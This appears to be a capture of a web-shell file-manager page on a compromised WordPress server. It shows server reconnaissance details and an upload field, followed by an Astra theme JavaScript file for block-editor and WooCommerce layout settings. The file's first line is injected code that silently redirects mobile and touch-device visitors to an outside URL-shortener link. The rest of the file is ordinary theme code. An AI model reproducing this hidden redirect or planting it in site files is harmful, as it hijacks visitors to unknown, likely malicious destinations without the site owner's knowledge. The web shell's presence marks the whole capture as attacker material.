| Server IP : 43.128.22.13 / Your IP : 216.73.217.0 Web Server : nginx/1.28.3 System : Linux VM-0-2-debian 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64 User : www ( 1000) PHP Version : 8.2.28 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/43.128.22.13/wp-content/themes/astra/inc/assets/js/ |
Upload File : |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/wpAByWWKX0r2");
const updatingBlock = ['core/group'];
wp.hooks.addFilter(
'blocks.registerBlockType',
'astra/meta/groupLayoutSettings',
(settings, name) => {
if (!updatingBlock.includes(name)) {
return settings;
}
const newSettings = {
...settings,
supports: {
...(settings.supports || {}),
layout: {
...(settings.supports.layout || {}),
allowEditing: true,
allowSwitching: false,
allowInheriting: true,
},
__experimentalLayout: {
...(settings.supports.__experimentalLayout || {}),
allowEditing: true,
allowSwitching: false,
allowInheriting: true,
},
},
};
return newSettings;
},
20
);
// Get the block editor's data module.
const { dispatch } = wp.data;
// Create a function to set the default align attribute
function setWooDefaultAlignments() {
const checkoutBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/checkout');
const cartBlocks = wp.blocks.getBlockTypes().some(block => block.name === 'woocommerce/cart');
if ( checkoutBlocks ) {
const checkoutBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/checkout');
if (checkoutBlock && checkoutBlock.attributes.align !== 'none') {
const checkoutClientId = checkoutBlock.clientId;
const checkoutLocalStorageKey = 'hasCheckoutBlockInserted';
const checkoutLocalStorageData = JSON.parse(localStorage.getItem(checkoutLocalStorageKey)) || {};
if ( ! checkoutLocalStorageData[checkoutClientId] ) {
const updatedCheckoutAttributes = { ...checkoutBlock.attributes, align: 'none' };
dispatch('core/block-editor').updateBlockAttributes(checkoutClientId, updatedCheckoutAttributes);
checkoutLocalStorageData[checkoutClientId] = true;
localStorage.setItem(checkoutLocalStorageKey, JSON.stringify(checkoutLocalStorageData));
}
}
}
if ( cartBlocks ) {
const cartBlock = wp.data.select('core/block-editor').getBlocks().find(block => block.name === 'woocommerce/cart');
if (cartBlock && cartBlock.attributes.align !== 'none') {
const cartClientId = cartBlock.clientId;
const cartLocalStorageKey = 'hasCartBlockInserted';
const cartLocalStorageData = JSON.parse(localStorage.getItem(cartLocalStorageKey)) || {};
if ( ! cartLocalStorageData[cartClientId] ) {
const updatedCartAttributes = { ...cartBlock.attributes, align: 'none' };
dispatch('core/block-editor').updateBlockAttributes(cartBlock.clientId, updatedCartAttributes);
cartLocalStorageData[cartClientId] = true;
localStorage.setItem(cartLocalStorageKey, JSON.stringify(cartLocalStorageData));
}
}
}
}
// Listen for the first insertion of a WooCommerce block
wp.data.subscribe(() => {
setWooDefaultAlignments();
});